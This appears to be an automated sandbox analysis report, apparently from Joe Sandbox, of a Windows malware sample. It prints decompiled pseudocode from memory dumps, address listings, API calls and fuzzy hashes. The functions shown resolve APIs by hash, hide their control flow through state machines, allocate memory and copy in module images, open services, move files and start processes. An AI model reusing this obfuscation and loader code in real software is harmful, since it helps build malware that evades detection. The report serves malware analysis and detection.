						L30:
					}
					__eflags = _t123 - 0x33602029;
					if(_t123 == 0x33602029) {
						_t75 =  *0x32e3f4;
						__eflags = _t75;
						if(_t75 == 0) {
							_t100 = E00323F00(0x9bab0b12);
							_t119 = 0x7dc9b9bb;
							_t75 = E00323E60(_t101, _t100, 0x7dc9b9bb, _t126);
							 *0x32e3f4 = _t75;
						}
						 *_t75(0,  &_v524, 0x104);
						_t123 = 0x3ae77736;
						goto L1;
					} else {
						__eflags = _t123 - 0x3ae77736;
						if(_t123 != 0x3ae77736) {
							goto L15;
						} else {
							__eflags =  *0x32de04;
							if( *0x32de04 == 0) {
								_t95 = E00323F00(0x9bab0b12);
								_t119 = 0xb66d748a;
								 *0x32de04 = E00323E60(_t101, _t95, 0xb66d748a, _t126);
							}
							_t92 = CreateFileW( &_v524, _v584, _v592, 0, _v588, _v580, 0); // executed
							_t122 = _t92;
							__eflags = _t122 - 0xffffffff;
							if(_t122 == 0xffffffff) {
								break;
							} else {
								_t123 = 0x12f5064;
								goto L1;
							}
						}
					}
					goto L30;
					L15:
					__eflags = _t123 - 0x13ef6fdf;
				} while (_t123 != 0x13ef6fdf);
				L16:
				__eflags = 0;
				return 0;
				goto L30;
			}

0x00328400
0x00328400
0x00328406
0x0032840e
0x00328416
0x0032841e
0x00328426
0x0032842b
0x00328430
0x00328438
0x00328440
0x00328445
0x0032844a
0x00328452
0x0032845a
0x00328462
0x0032846a
0x00328472
0x0032847a
0x00328482
0x00328491
0x00328496
0x0032849a
0x003284a2
0x003284af
0x003284b3
0x003284bb
0x003284c3
0x003284cb
0x003284cf
0x003284d7
0x003284df
0x003284df
0x003284e3
0x003284e3
0x003284e3
0x003284e3
0x003284e9
0x00000000
0x00000000
0x003284ef
0x0032866e
0x00328676
0x00328696
0x0032869a
0x003286a2
0x003286a6
0x003286aa
0x003286b2
0x003286b4
0x00000000
0x003286ba
0x003286ba
0x003286c5
0x003286d1
0x003286bc
0x003286bc
0x003286be
0x00000000
0x00000000
0x00000000
0x00000000
0x003286be
0x003286ba
0x003284f5
0x003284fb
0x0032854a
0x0032854f
0x00328551
0x00328558
0x0032855d
0x00328564
0x00328569
0x00328569
0x00328578
0x0032857c
0x0032857e
0x00328589
0x0032858f
0x00328591
0x00328598
0x0032859d
0x003285a4
0x003285a9
0x003285a9
0x003285af
0x00000000
0x003284fd
0x00328503
0x00328543
0x00000000
0x00328505
0x0032850b
0x00000000
0x00328511
0x00328511
0x00328518
0x0032851f
0x00328524
0x0032852b
0x00328530
0x00328530
0x0032853a
0x0032853c
0x00000000
0x0032853c
0x0032850b
0x00328503
0x003284fb
0x00000000
0x003284ef
0x003285c8
0x003285ce
0x00328630
0x00328635
0x00328637
0x0032863e
0x00328643
0x0032864a
0x0032864f
0x0032864f
0x00328660
0x00328662
0x00000000
0x003285d0
0x003285d0
0x003285d6
0x00000000
0x003285d8
0x003285de
0x003285e0
0x003285e7
0x003285ec
0x003285fa
0x003285fa
0x0032861d
0x0032861f
0x00328621
0x00328624
0x00000000
0x00328626
0x00328626
0x00000000
0x00328626
0x00328624
0x003285d6
0x00000000
0x003285b1
0x003285b1
0x003285b1
0x003285bd
0x003285bd
0x003285c7
0x00000000

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE), ref: 0032861D

Strings

) `3, xrefs: 00328543
6w:, xrefs: 003285D0
6w:, xrefs: 00328662
) `3, xrefs: 003285C8
=, xrefs: 0032846A

Memory Dump Source

Source File: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Offset: 00320000, based on PE: true

Associated: 0000000D.00000002.2285127081.0000000000320000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285143400.000000000032D000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285149670.000000000032F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_320000_ieframe.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: ) `3$) `3$6w:$6w:$=
API String ID: 823142352-4124229693
Opcode ID: 22a79285d9e9cc99f34fff6600fc122b5a6e0eef6261ff77b87543bd9b8025d3
Instruction ID: e68fab6af7fe67c3410bf04ec3eda516f5ee4496031c7370611fd9af3b1473ee
Opcode Fuzzy Hash: 22a79285d9e9cc99f34fff6600fc122b5a6e0eef6261ff77b87543bd9b8025d3
Instruction Fuzzy Hash: 65611771A093219FC716DF68E44562FBBE5ABD0714F11881CF4999B290DB78DD098FC2

Uniqueness

Uniqueness Score: -1.00%

Function 00310D60, Relevance: 9.1, APIs: 6, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00310FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 00310F08
Part of subcall function 00310FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 00310F3E
Part of subcall function 00310FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 00310F7F

VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 00310DB4
RtlMoveMemory.NTDLL(00000000,?,?), ref: 00310DC3

Part of subcall function 00311140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,00310EFD,00000000), ref: 00311155

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 00310E11
VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 00310E3D
RtlMoveMemory.NTDLL(00000000,?,?), ref: 00310E6C
RtlFillMemory.KERNEL32(00000000,?,00000000), ref: 00310E98

Memory Dump Source

Source File: 0000000D.00000002.2285120425.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_310000_ieframe.jbxd

Similarity

API ID: Memory$Move$AllocVirtual$Filllstrcpyn
String ID:
API String ID: 3581289920-0
Opcode ID: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction ID: f900eb0e888b60a0c8bdd2b779422d633d7d2deeebf80d494bc9143cef63afbd
Opcode Fuzzy Hash: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction Fuzzy Hash: D631CE72A043406BD22DDB61C844AEB73EAEBCC380F04092CB648D7351D6B5E8C087A2

Uniqueness

Uniqueness Score: -1.00%

Function 00323780, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E00323780(void* __ecx, void* __edx, void* __edi, void* __esi) {
				char _v520;
				char _v528;
				char _v536;
				char _v1040;
				char _v1056;
				short _v1072;
				char* _v1076;
				char* _v1080;
				intOrPtr _v1084;
				intOrPtr* _t12;
				intOrPtr* _t14;
				intOrPtr* _t16;
				intOrPtr* _t18;
				intOrPtr* _t20;
				signed int _t26;
				void* _t36;
				void* _t63;
				void* _t66;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				struct _SHFILEOPSTRUCTW* _t73;

				_t70 =  &_v1072;
				_t12 =  *0x32ddc0;
				_t66 = __ecx;
				_t63 = __edx;
				if(_t12 == 0) {
					_t12 = E00323E60(_t36, E00323F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x32ddc0 = _t12;
				}
				 *_t12( &_v1072, 0, 0x1e);
				_t14 =  *0x32ddc0;
				_t71 = _t70 + 0xc;
				if(_t14 == 0) {
					_t14 = E00323E60(_t36, E00323F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x32ddc0 = _t14;
				}
				 *_t14( &_v1040, 0, 0x208);
				_t16 =  *0x32ddc0;
				_t72 = _t71 + 0xc;
				if(_t16 == 0) {
					_t16 = E00323E60(_t36, E00323F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x32ddc0 = _t16;
				}
				 *_t16( &_v520, 0, 0x208);
				_t18 =  *0x32e298;
				_t73 = _t72 + 0xc;
				if(_t18 == 0) {
					_t18 = E00323E60(_t36, E00323F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x32e298 = _t18;
				}
				 *_t18( &_v1040, _t66);
				_t20 =  *0x32e298;
				if(_t20 == 0) {
					_t20 = E00323E60(_t36, E00323F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x32e298 = _t20;
				}
				 *_t20( &_v528, _t63);
				_v1084 = 1;
				_v1080 =  &_v1056;
				_v1076 =  &_v536;
				_v1072 = 0xe14;
				if( *0x32e30c == 0) {
					 *0x32e30c = E00323E60(_t36, E00323F00(0xd9518805), 0x262a6194, _t69);
				}
				_t26 = SHFileOperationW(_t73); // executed
				asm("sbb eax, eax");
				return  ~_t26 + 1;
			}

0x00323785
0x00323780
0x0032378c
0x0032378f
0x00323793
0x003237a6
0x003237ab
0x003237ab
0x003237b9
0x003237bb
0x003237c0
0x003237c5
0x003237d8
0x003237dd
0x003237dd
0x003237ee
0x003237f0
0x003237f5
0x003237fa
0x0032380d
0x00323812
0x00323812
0x00323826
0x00323828
0x0032382d
0x00323832
0x00323845
0x0032384a
0x0032384a
0x00323855
0x00323857
0x0032385e
0x00323871
0x00323876
0x00323876
0x00323884
0x0032388a
0x00323892
0x0032389d
0x003238a6
0x003238b4
0x003238cc
0x003238cc
0x003238d5
0x003238d9
0x003238e2

APIs

SHFileOperationW.SHELL32 ref: 003238D5

Strings

X~, xrefs: 003237D1
X~, xrefs: 00323806
X~, xrefs: 0032379F

Memory Dump Source

Source File: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Offset: 00320000, based on PE: true

Associated: 0000000D.00000002.2285127081.0000000000320000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285143400.000000000032D000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285149670.000000000032F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_320000_ieframe.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: X~$X~$X~
API String ID: 3080627654-3258893172
Opcode ID: 5cc5cb0b670ad7566af78c1b329c90af63b99ba2aa252c5eb668a17b53a8f3e3
Instruction ID: b1a0ce7ae2464553657d4f24f9bcb00ef109a79e42c29c82fad0088dc372eec8
Opcode Fuzzy Hash: 5cc5cb0b670ad7566af78c1b329c90af63b99ba2aa252c5eb668a17b53a8f3e3
Instruction Fuzzy Hash: 3A31D0717003615BD726EB79FC017AB37EAAF84704F10092CF515CB285EA38DA0A8B91

Uniqueness

Uniqueness Score: -1.00%

Function 00328E80, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 131
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00328E80() {
				short* _v4;
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t4;
				void* _t6;
				intOrPtr* _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				intOrPtr* _t22;
				void* _t25;
				void* _t42;
				short* _t43;
				intOrPtr _t44;
				short* _t45;
				void* _t46;
				void* _t47;

				_t25 = _v4;
				_t4 = 0x1779a150;
				_t46 = _v4;
				_t43 = _v4;
				_t42 = 0;
				goto L1;
				do {
					while(1) {
						L1:
						_t47 = _t4 - 0xebfcc22;
						if(_t47 <= 0) {
							break;
						}
						if(_t4 == 0x1779a150) {
							_t4 = 0x23287775;
							continue;
						} else {
							if(_t4 == 0x1e3d7119) {
								if( *0x32e270 == 0) {
									 *0x32e270 = E00323E60(_t25, E00323F00(0x26f5757c), 0x56e230f9, _t46);
								}
								_t6 = OpenServiceW(_t46, _t43, 0x10000); // executed
								_t25 = _t6;
								_t4 =  !=  ? 0xebfcc22 : 0xbf6010;
								continue;
							} else {
								if(_t4 != 0x23287775) {
									goto L22;
								} else {
									_t44 =  *0x32e54c; // 0x8fdff0
									_t45 = _t44 + 0x260;
									while( *_t45 != 0x5c) {
										_t45 = _t45 + 2;
									}
									_t43 = _t45 + 2;
									_t4 = 0x10ada17;
									continue;
								}
							}
						}
						L32:
					}
					if(_t47 == 0) {
						_t11 =  *0x32e4c8;
						if(_t11 == 0) {
							_t11 = E00323E60(_t25, E00323F00(0x26f5757c), 0xe9d3e51f, _t46);
							 *0x32e4c8 = _t11;
						}
						 *_t11(_t25);
						_t42 =  !=  ? 1 : _t42;
						_t4 = 0xd10de09;
						goto L1;
					} else {
						if(_t4 == 0xbf6010) {
							_t15 =  *0x32e18c;
							if(_t15 == 0) {
								_t15 = E00323E60(_t25, E00323F00(0x26f5757c), 0x268fe5f0, _t46);
								 *0x32e18c = _t15;
							}
							 *_t15(_t46);
							goto L31;
						} else {
							if(_t4 == 0x10ada17) {
								_t19 =  *0x32e310;
								if(_t19 == 0) {
									_t19 = E00323E60(_t25, E00323F00(0x26f5757c), 0x9ba7cd1, _t46);
									 *0x32e310 = _t19;
								}
								_t46 =  *_t19(0, 0, 0xf003f);
								if(_t46 == 0) {
									L31:
									return _t42;
								} else {
									_t4 = 0x1e3d7119;
									goto L1;
								}
							} else {
								if(_t4 != 0xd10de09) {
									goto L22;
								} else {
									_t22 =  *0x32e18c;
									if(_t22 == 0) {
										_t22 = E00323E60(_t25, E00323F00(0x26f5757c), 0x268fe5f0, _t46);
										 *0x32e18c = _t22;
									}
									 *_t22(_t25);
									_t4 = 0xbf6010;
									goto L1;
								}
							}
						}
					}
					goto L32;
					L22:
				} while (_t4 != 0x2dd4caa9);
				return _t42;
				goto L32;
			}

0x00328e82
0x00328e86
0x00328e8c
0x00328e91
0x00328e96
0x00328e98
0x00328ea0
0x00328ea0
0x00328ea0
0x00328ea0
0x00328ea5
0x00000000
0x00000000
0x00328f7f
0x00329011
0x00000000
0x00328f85
0x00328f8a
0x00328fd5
0x00328fed
0x00328fed
0x00328ff9
0x00328ffb
0x00329009
0x00000000
0x00328f8c
0x00328f91
0x00000000
0x00328f93
0x00328f93
0x00328f99
0x00328fa3
0x00328fa5
0x00328fa8
0x00328fae
0x00328fb1
0x00000000
0x00328fb1
0x00328f91
0x00328f8a
0x00000000
0x00328f7f
0x00328eab
0x00328f3f
0x00328f46
0x00328f59
0x00328f5e
0x00328f5e
0x00328f64
0x00328f6d
0x00328f70
0x00000000
0x00328eb1
0x00328eb6
0x0032901b
0x00329022
0x00329035
0x0032903a
0x0032903a
0x00329040
0x00000000
0x00328ebc
0x00328ec1
0x00328efc
0x00328f03
0x00328f16
0x00328f1b
0x00328f1b
0x00328f2b
0x00328f2f
0x00329042
0x00329049
0x00328f35
0x00328f35
0x00000000
0x00328f35
0x00328ec3
0x00328ec8
0x00000000
0x00328ece
0x00328ece
0x00328ed5
0x00328ee8
0x00328eed
0x00328eed
0x00328ef3
0x00328ef5
0x00000000
0x00328ef5
0x00328ec8
0x00328ec1
0x00328eb6
0x00000000
0x00328fbb
0x00328fbb
0x00328fcd
0x00000000

APIs

OpenServiceW.ADVAPI32(3251FEFE,?,00010000,?,3251FEFE,?,186D334D,008FDFF0,00328782,?,3251FEFE,?), ref: 00328FF9

Strings

uw(#, xrefs: 00329011
uw(#, xrefs: 00328F8C

Memory Dump Source

Source File: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Offset: 00320000, based on PE: true

Associated: 0000000D.00000002.2285127081.0000000000320000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285143400.000000000032D000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285149670.000000000032F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_320000_ieframe.jbxd

Yara matches

Similarity

API ID: OpenService
String ID: uw(#$uw(#
API String ID: 3098006287-1105621689
Opcode ID: 93ac343f2b2eebd6f96e2df9ea73c389cc8eafc58c868227d88d6f34d3b6adcf
Instruction ID: 5d366379ddddb9562cc4a27050ce3cd5003dd0fcf3451574852b698a4dd4b238
Opcode Fuzzy Hash: 93ac343f2b2eebd6f96e2df9ea73c389cc8eafc58c868227d88d6f34d3b6adcf
Instruction Fuzzy Hash: AC411B31B06234ABDB33A7BDBC8177A23DAA794750F120829F545CBB41EE34CC404791

Uniqueness

Uniqueness Score: -1.00%

Function 00327120, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00327120(void* __ebx) {
				void* _t2;
				struct HINSTANCE__* _t8;
				intOrPtr* _t9;
				intOrPtr* _t11;
				void* _t21;
				intOrPtr _t23;
				void* _t48;
				WCHAR* _t51;
				void* _t53;
				void* _t54;
				void* _t55;

				_t21 = __ebx;
				_t2 = 0x291da748;
				goto L1;
				do {
					while(1) {
						L1:
						_t54 = _t2 - 0x1a8031ec;
						if(_t54 > 0) {
							break;
						}
						if(_t54 == 0) {
							_t51 = E003234C0(0x32d830);
							__eflags =  *0x32dd1c;
							if( *0x32dd1c == 0) {
								 *0x32dd1c = E00323E60(_t21, E00323F00(0x9bab0b12), 0xe4b28d97, _t53);
							}
							_t8 = LoadLibraryW(_t51);
							_t23 =  *0x32e548; // 0x937e08
							 *(_t23 + 0x4c) = _t8;
							_t9 =  *0x32e494;
							__eflags = _t9;
							if(_t9 == 0) {
								_t9 = E00323E60(_t21, E00323F00(0x9bab0b12), 0x7facde30, _t53);
								 *0x32e494 = _t9;
							}
							_t48 =  *_t9();
							_t11 =  *0x32df30;
							__eflags = _t11;
							if(_t11 == 0) {
								_t11 = E00323E60(_t21, E00323F00(0x9bab0b12), 0x5010a54d, _t53);
								 *0x32df30 = _t11;
							}
							return  *_t11(_t48, 0, _t51);
						} else {
							_t55 = _t2 - 0x185e9846;
							if(_t55 > 0) {
								__eflags = _t2 - 0x18843476;
								if(__eflags != 0) {
									goto L21;
								} else {
									E00327080(_t21, 0x32d7a0, 4, __eflags);
									_t2 = 0x2eb73d4f;
									continue;
								}
							} else {
								if(_t55 == 0) {
									E00327080(_t21, 0x32d8f0, 2, __eflags);
									_t2 = 0x9da2520;
									continue;
								} else {
									if(_t2 == 0x9da2520) {
										E00327080(_t21, 0x32d800, 3, __eflags);
										_t2 = 0x18843476;
										continue;
									} else {
										_t57 = _t2 - 0x15a7f569;
										if(_t2 != 0x15a7f569) {
											goto L21;
										} else {
											E00327080(_t21, 0x32d860, 0, _t57);
											_t2 = 0x39797244;
											continue;
										}
									}
								}
							}
						}
						L30:
					}
					__eflags = _t2 - 0x2eb73d4f;
					if(__eflags > 0) {
						__eflags = _t2 - 0x39797244;
						if(__eflags != 0) {
							goto L21;
						} else {
							E00327080(_t21, 0x32d890, 1, __eflags);
							_t2 = 0x185e9846;
							goto L1;
						}
					} else {
						if(__eflags == 0) {
							E00327080(_t21, 0x32d7e0, 5, __eflags);
							_t2 = 0x22a44863;
							goto L1;
						} else {
							__eflags = _t2 - 0x22a44863;
							if(__eflags == 0) {
								E00327080(_t21, 0x32d8c0, 6, __eflags);
								_t2 = 0x1a8031ec;
								goto L1;
							} else {
								__eflags = _t2 - 0x291da748;
								if(__eflags != 0) {
									goto L21;
								} else {
									_t2 = 0x15a7f569;
									goto L1;
								}
							}
						}
					}
					goto L30;
					L21:
					__eflags = _t2 - 0x21acdd7e;
				} while (__eflags != 0);
				return _t2;
				goto L30;
			}

0x00327120
0x00327120
0x00327120
0x00327125
0x00327125
0x00327125
0x00327125
0x0032712a
0x00000000
0x00000000
0x00327130
0x0032723f
0x00327246
0x00327248
0x00327260
0x00327260
0x00327266
0x00327268
0x0032726e
0x00327271
0x00327276
0x00327278
0x0032728b
0x00327290
0x00327290
0x00327297
0x00327299
0x0032729e
0x003272a0
0x003272b3
0x003272b8
0x003272b8
0x003272c5
0x00327136
0x00327136
0x0032713b
0x00327190
0x00327195
0x00000000
0x0032719b
0x003271a5
0x003271aa
0x00000000
0x003271aa
0x0032713d
0x0032713d
0x00327184
0x00327189
0x00000000
0x0032713f
0x00327144
0x0032716e
0x00327173
0x00000000
0x00327146
0x00327146
0x0032714b
0x00000000
0x00327151
0x00327158
0x0032715d
0x00000000
0x0032715d
0x0032714b
0x00327144
0x0032713d
0x0032713b
0x00000000
0x00327130
0x003271b4
0x003271b9
0x00327207
0x0032720c
0x00000000
0x0032720e
0x00327218
0x0032721d
0x00000000
0x0032721d
0x003271bb
0x003271bb
0x003271f8
0x003271fd
0x00000000
0x003271bd
0x003271bd
0x003271c2
0x003271df
0x003271e4
0x00000000
0x003271c4
0x003271c4
0x003271c9
0x00000000
0x003271cb
0x003271cb
0x00000000
0x003271cb
0x003271c9
0x003271c2
0x003271bb
0x00000000
0x00327227
0x00327227
0x00327227
0x00327232
0x00000000

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,003268AC), ref: 00327266

Strings

Dry9, xrefs: 00327207
Dry9, xrefs: 0032715D

Memory Dump Source

Source File: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Offset: 00320000, based on PE: true

Associated: 0000000D.00000002.2285127081.0000000000320000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285143400.000000000032D000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285149670.000000000032F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_320000_ieframe.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: Dry9$Dry9
API String ID: 1029625771-121480178
Opcode ID: a7654fac2e21e60f8127e9140b303a8c5c1e61c76af3e6157d0ccb9d585db983
Instruction ID: fa6928d01deae616f307c8ef0396edc35b828376e12a29918ea84dff4b1d294d
Opcode Fuzzy Hash: a7654fac2e21e60f8127e9140b303a8c5c1e61c76af3e6157d0ccb9d585db983
Instruction Fuzzy Hash: 8C31B530B0D23083DB276ABA78A176E11AEFFA0704F71446AF151CFB95DD2ADD124392

Uniqueness

Uniqueness Score: -1.00%

Function 00324B70, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E00324B70(void* __ebx, WCHAR* __ecx, WCHAR* __edx, void* __ebp, int _a4, intOrPtr _a12) {
				struct _STARTUPINFOW _v72;
				struct _PROCESS_INFORMATION _v88;
				intOrPtr* _t9;
				int _t12;
				intOrPtr* _t15;
				intOrPtr* _t17;
				WCHAR* _t44;
				WCHAR* _t45;

				_t46 = __ebp;
				_t26 = __ebx;
				_t9 =  *0x32ddc0;
				_t45 = __edx;
				_t44 = __ecx;
				if(_t9 == 0) {
					_t9 = E00323E60(__ebx, E00323F00(0xc6fbcd74), 0x7e0ae558, __ebp);
					 *0x32ddc0 = _t9;
				}
				 *_t9( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				if( *0x32e21c == 0) {
					 *0x32e21c = E00323E60(_t26, E00323F00(0x9bab0b12), 0xbd6cc871, _t46);
				}
				_t12 = CreateProcessW(_t44, _t45, 0, 0, _a4, 0, 0, 0,  &_v72,  &_v88); // executed
				if(_t12 == 0) {
					return 0;
				} else {
					if(_a12 == 0) {
						_t15 =  *0x32de3c;
						if(_t15 == 0) {
							_t15 = E00323E60(_t26, E00323F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x32de3c = _t15;
						}
						 *_t15(_v88.hProcess);
						_t17 =  *0x32de3c;
						if(_t17 == 0) {
							_t17 = E00323E60(_t26, E00323F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x32de3c = _t17;
						}
						 *_t17(_v88.hProcess);
						return 1;
					} else {
						asm("movdqu xmm0, [esp+0x8]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x00324b70
0x00324b70
0x00324b70
0x00324b79
0x00324b7c
0x00324b80
0x00324b93
0x00324b98
0x00324b98
0x00324ba6
0x00324bb0
0x00324bba
0x00324bd2
0x00324bd2
0x00324bf1
0x00324bf5
0x00324c7a
0x00324bf7
0x00324bfd
0x00324c14
0x00324c1b
0x00324c2e
0x00324c33
0x00324c33
0x00324c3c
0x00324c3e
0x00324c45
0x00324c58
0x00324c5d
0x00324c5d
0x00324c66
0x00324c72
0x00324bff
0x00324bff
0x00324c05
0x00324c13
0x00324c13
0x00324bfd

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 00324BF1

Strings

X~, xrefs: 00324B8C
D, xrefs: 00324BB0

Memory Dump Source

Source File: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Offset: 00320000, based on PE: true

Associated: 0000000D.00000002.2285127081.0000000000320000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285143400.000000000032D000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285149670.000000000032F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_320000_ieframe.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D$X~
API String ID: 963392458-2090554203
Opcode ID: 6b1fc3108f9e711e24e143d06add3de1ac82ee4981b73fd431e8b1539b151230
Instruction ID: 09f230d71dad72851cfe0a3fba454a80b5f2cba9bd8a68db0447d82f57de430f
Opcode Fuzzy Hash: 6b1fc3108f9e711e24e143d06add3de1ac82ee4981b73fd431e8b1539b151230
Instruction Fuzzy Hash: BE21A3317043216BEB26AB7EEC41BBB37AAABD0B04F11442CF554CF290FA74D9059B51

Uniqueness

Uniqueness Score: -1.00%

Function 003230A0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E003230A0() {
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t61;
				intOrPtr* _t62;
				void* _t65;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr _t107;
				intOrPtr* _t116;
				void* _t127;
				void* _t128;
				intOrPtr _t129;
				signed int _t134;
				void* _t135;
				void* _t136;

				_t93 =  *((intOrPtr*)(_t135 + 0xc));
				_t61 = 0x11f367c2;
				_t134 =  *(_t135 + 0x10);
				_t129 =  *((intOrPtr*)(_t135 + 0x14));
				_t127 =  *(_t135 + 0x18);
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t136 = _t61 - 0x12466c01;
							if(_t136 > 0) {
								break;
							}
							if(_t136 == 0) {
								if(_t93 !=  *(_t135 + 0x18)) {
									L29:
									return 1;
								} else {
									_t61 = 0x2f21cdd2;
									continue;
								}
							} else {
								if(_t61 == 0x7a26146) {
									_t61 =  ==  ? 0x2f21cdd2 : 0x12466c01;
									continue;
								} else {
									if(_t61 == 0x8928514) {
										_t95 =  *0x32e1cc;
										if(_t95 == 0) {
											_t95 = E00323E60(_t93, E00323F00(0x55ab7d30), 0x815a9da3, _t134);
											 *0x32e1cc = _t95;
										}
										_t129 =  *_t95(_t134 + 0x2c);
										_t61 = 0x39d78901;
										while(1) {
											L1:
											goto L2;
										}
									} else {
										if(_t61 != 0x11f367c2) {
											goto L18;
										} else {
											 *(_t135 + 0x18) = 0x2e7c;
											 *(_t135 + 0x18) = 0x3e0f83e1 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 7;
											 *(_t135 + 0x18) = 0x2f149903 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) + 0xffff1475;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) * 0x15;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 2;
											 *(_t135 + 0x18) = 0x22b63cbf *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) ^ 0x8ee7705c;
											 *(_t135 + 0x10) = 0xa461;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) << 0xe;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) * 8 -  *(_t135 + 0x10) << 2;
											_t61 = 0x8928514;
											 *(_t135 + 0x10) = 0x51eb851f *  *(_t135 + 0x10) >> 0x20 >> 3;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) + 0xffffb6ab;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) ^ 0x88f30986;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
							L30:
						}
						if(_t61 == 0x2f21cdd2) {
							_t62 =  *0x32e494;
							if(_t62 == 0) {
								_t62 = E00323E60(_t93, E00323F00(0x9bab0b12), 0x7facde30, _t134);
								 *0x32e494 = _t62;
							}
							_t128 =  *_t62();
							if( *0x32dd18 == 0) {
								 *0x32dd18 = E00323E60(_t93, E00323F00(0x9bab0b12), 0x9ff0609c, _t134);
							}
							_t65 = RtlAllocateHeap(_t128, 8, 0x24c); // executed
							_t127 = _t65;
							if(_t127 == 0) {
								goto L29;
							} else {
								_t61 = 0x35eaa088;
								goto L1;
							}
						} else {
							if(_t61 == 0x35eaa088) {
								_t116 =  *0x32e43c;
								if(_t116 == 0) {
									_t116 = E00323E60(_t93, E00323F00(0x9bab0b12), 0x2df4d385, _t134);
									 *0x32e43c = _t116;
								}
								 *_t116(_t127 + 0x3c, _t134 + 0x2c, (_t129 - _t134 - 0x2c >> 1) + 1);
								_t107 =  *((intOrPtr*)(_t135 + 0x1c));
								 *(_t127 + 0x2c) =  *(_t107 + 0x1c);
								 *((intOrPtr*)(_t107 + 0xc)) =  *((intOrPtr*)(_t107 + 0xc)) + 1;
								 *(_t107 + 0x1c) = _t127;
								goto L29;
							} else {
								if(_t61 != 0x39d78901) {
									goto L18;
								} else {
									_t93 = E00323D00(_t129);
									_t61 = 0x7a26146;
									while(1) {
										L1:
										goto L2;
									}
								}
							}
						}
						goto L30;
						L18:
					} while (_t61 != 0x100ad7b4);
					return 1;
					goto L30;
				}
			}

0x003230a2
0x003230a6
0x003230ac
